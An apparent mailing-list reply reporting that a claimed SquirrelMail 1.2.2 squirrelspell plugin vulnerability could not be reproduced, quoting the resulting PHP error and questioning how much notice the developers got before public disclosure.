I'm unable to repro on squirrelmail 1.2.2 + openbsd 2.9:
Fatal error: Call to undefined function: sqspell_getlang() in
/usr/local/www/htdocs/www2.axisproductions.com/webmail/plugins/squirrelspell/modules/check_me.mod.php
on line 59
I'm also curious how much notice this person gave to the Squirrelmail
development team to prepare a fix before releasing it to the world.. (same
thought applies to the random cross-scripting vulnerability just sent out
3 seconds ago)
On anothre note Squirrelmail 1.2.3 was released 01/21/02.. I was wondering
if anyone has had the opportunity to test against it. This specific issue
doesn't seem to have been noted in the changelog:
http://www.squirrelmail.org/changelog.php
Attempted to contact off-list earlier, but it seems the sender's mx is
having problems.

Giving up on 213.134.128.227.
